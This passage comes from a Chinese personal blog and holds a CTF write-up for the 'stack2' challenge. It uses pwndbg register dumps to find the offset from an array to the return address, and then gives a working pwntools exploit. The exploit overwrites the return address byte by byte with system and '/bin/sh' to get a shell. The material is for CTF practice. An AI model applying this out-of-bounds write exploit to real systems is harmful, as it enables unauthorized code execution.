OCRzDpwCz%0A8SROonDHGX+JAiyBkg8tDgN20vRgmRGUUGKSKFtNnr0yJXGm7I9KRRwy8Xxf%0AdpG4QMpq8oxE8IoSI8IVSYcVttNwjkqkQmnKiJSRrVDckv3MRqTIj7qJYM76%0AqiBxCxEJnB4+JfoGUMUgcS+qEeOBBtgIoXwNESKf+Xl2zKjE5ctuo2lO7ETG%0Aoqja/DweIxKTiladiJghTT+PSFxwCY1wZSJ9teSELXecKZC4ZfDfAcd0WgCz%0A6CXu6aQaCaJwcCeMbOkIkJ9cj1roLANBq8mzZ0YlTiJq2RQJWlwXQfSyIo/5%0A2d9/mHqRjEWpIF5G2lS+ICUSd03ULSV77xsSdx8+VtLmHmLgJb4As7ESRxQO%0A7ogVuDDSM1vQkLiJ398xQZsjeh4TEuNH1UxkLhInK3ChoOUjcQtKXGnYVJZz%0AT9yN8aNw3AMHMBsjcSYKd1j2r12AOuL7siyhfNk84XBhvF1Nnh0zKnEF+QrI%0A5zFDpRP3v10ynGroBcxKSLjb/H1za0tcThwtIkqbeTrVp1WJ8+6F4z44gIs4%0AuCjcMd87AKyMiIN3H5aNzIUyYZb1eUTOLsizW0YlTq02ojUmFBlBSySknCe+%0A384wKTFW1E7POsoVi1MqTVawIllZUuKmom2yPpQldZ4XvifOfY+zdTeLViUu%0AmtT+fSVyc9KHanuAV86BKBzcHekMjXBJp2ekJJAvEQzJozvOy/LsFFNHZYnT%0AOJELklf23PpQQML6y+eZh3uFSFacnDRJ0nlM/pUkrhyF85EIYZ9GHqCYkLih%0AvjNRzAp6qU3SFQ91bIpI4uYmJA7AezoVALZLhcRdTyYSB2UmJK6PBkdP+4ID%0AiQO4FiQOYA8gcdujMhJ3TSQTAGAMJA5gD4gw9MOcq0R39iZx8dBnPi1bnHTI%0AOZG0/lqtLd0A8NpB4gAAAAB2CBIHAAAAsEOQOAAAAIAdgsQBAAAA7BAkDgAA%0AAGCHIHEAAAAAO+Sg0P/0iem3AAAAALbP4eC/5Ih5VAEAAAB2QShxeqLl46EL%0AlwEAAADA1kDiAAAAAHZIKHFPJ7XgyFQxAAAAABuHBxsAAAAAdkg0nPrUnbTM%0AMZwKAAAAsGkiidMPqB71QqVzAAAAALBVkDgAAACAHZIdTuW+OAAAAIBtkzzY%0AwO1wAAAAANuHuVMBAAAAdggSBwAAALBDkDgAAACAHYLEAQAAAOwQJA4AAABg%0AhyBxAAAAALuj6/4/lujpryPWHtsAAAAASUVORK5CYII="></p>
<p>如上图1部分方框完成数组赋值，cl寄存器计数，明显eax存放首地址</p>
<p>我们要跳转函数就要找数组首地址距离ret的返回</p>
<p>so第一个断点在mov [eax],cl</p>
<p>第二个在main的ret</p>
<p>结果</p>
<p>如下eax就是数组首地址</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">EAX  0xffffcf88 ◂— 0xe0</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0xff</span><br><span class="line"> EDX  0xffffcf88 ◂— 0xe0</span><br><span class="line"> EDI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> EBP  0xffffcff8 ◂— 0x0</span><br><span class="line"> ESP  0xffffcf50 —▸ 0xf7ffda74 —▸ 0xf7fd3470 —▸ 0xf7ffd918 ◂— 0x0</span><br><span class="line"> EIP  0x80486d5 (main+261) ◂— mov    byte ptr [eax], cl</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>如下esp是栈指针的存放寄存器此时指向ret</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">*EAX  0x0</span><br><span class="line"> EBX  0x0</span><br><span class="line">*ECX  0xffffd010 ◂— 0x1</span><br><span class="line">*EDX  0xf7fb987c (_IO_stdfile_0_lock) ◂— 0x0</span><br><span class="line"> EDI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line">*EBP  0x0</span><br><span class="line">*ESP  0xffffd00c —▸ 0xf7e1d647 (__libc_start_main+247) ◂— add    esp, 0x10</span><br><span class="line">*EIP  0x80488f2 (main+802) ◂— ret    </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>ret的地址减去eax存放的地址</p>
<p>hex(0xffffd00c-0xffffcf88)</p>
<p>=0x84</p>
<p>因为服务器环境错误后面没有so我们就用system+/bin/sh</p>
<p>exp</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">r = process(<span class="string">&quot;./stack2&quot;</span>)</span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">&quot;How many numbers you have:\n&quot;</span>)</span><br><span class="line">r.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">r.recvuntil(<span class="string">&quot;Give me your numbers\n&quot;</span>)</span><br><span class="line">r.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span>(<span class="params">addr, num</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;5. exit\n&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;which number to change:\n&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(addr))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;new number:\n&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(num))</span><br><span class="line"></span><br><span class="line">change(<span class="number">0x84</span>, <span class="number">0x50</span>)</span><br><span class="line">change(<span class="number">0x85</span>, <span class="number">0x84</span>)</span><br><span class="line">change(<span class="number">0x86</span>, <span class="number">0x04</span>)</span><br><span class="line">change(<span class="number">0x87</span>, <span class="number">0x08</span>)</span><br><span class="line">change(<span class="number">0x8c</span>, <span class="number">0x87</span>)</span><br><span class="line">change(<span class="number">0x8d</span>, <span class="number">0x89</span>)</span><br><span class="line">change(<span class="number">0x8e</span>, <span class="number">0x04</span>)</span><br><span class="line">change(<span class="number">0x8f</span>, <span class="number">0x08</span>)</span><br><span class="line"></span><br><span class="line">r.sendline(<span class="string">&quot;5&quot;</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>

    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/diazang/2021/04/17/%E9%AB%98%E6%95%B0A2%E7%AC%AC%E5%85%AB%E7%AB%A0%E7%AC%94%E8%AE%B0/" rel="prev" title="高数A2第八章笔记">
      <i class="fa fa-chevron-left"></i> 高数A2第八章笔记
    </a></div>
      <div class="post-nav-item">
    <a href="/diazang/2021/04/22/%E6%A0%88%E8%BF%81%E7%A7%BB/" rel="next" title="栈迁移">
      栈迁移 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          
    <div class="comments" id="valine-comments"></div>

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="H.R.P"
      src="https://www.hualigs.cn/image/6015786be4309.jpg">
  <p class="site-author-name" itemprop="name">H.R.P</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/diazang/archives/">
        
          <span class="site-state-item-count">38</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
  </nav>
</div>



      </div>
        <div class="back-to-top motion-element">
          <i class="fa fa-arrow-up"></i>
          <span>0%</span>
        </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        <!-- 用下面的符号注释，注释代码用下面括号括起来 -->
<!-- -->

<!-- 







-->


        








      </div>
    </footer>
  </div>

  
  <script src="/diazang/lib/anime.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.ui.min.js"></script>

<script src="/diazang/js/utils.js"></script>

<script src="/diazang/js/motion.js"></script>


<script src="/diazang/js/schemes/pisces.js"></script>


<script src="/diazang/js/next-boot.js"></script>




  




  
<script src="/diazang/js/local-search.js"></script>













  

  


<script>
NexT.utils.loadComments(document.querySelector('#valine-comments'), () => {
  NexT.utils.getScript('//unpkg.com/valine/dist/Valine.min.js', () => {
    var GUEST = ['nick', 'mail', 'link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item => {
      return GUEST.includes(item);
    });
    new Valine({
      el         : '#valine-comments',
      verify     : false,
      notify     : false,
      appId      : 'g8R6OK66Q2xJiQieSaxzFqVA-gzGzoHsz',
      appKey     : 'V9mmkUCmucvukcz6LwkONqXa',
      placeholder: "Just go go",
      avatar     : 'mm',
      meta       : guest,
      pageSize   : '10' || 10,
      visitor    : false,
      lang       : '' || 'zh-cn',
      path       : location.pathname,
      recordIP   : false,
      serverURLs : ''
    });
  }, window.Valine);
});
</script>

</body>
</html>
<a href="http://jue-xian.gitee.io/diazang"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#70B7FD; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
<!-- 动态背景 -->
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/clicklove.js"></script>


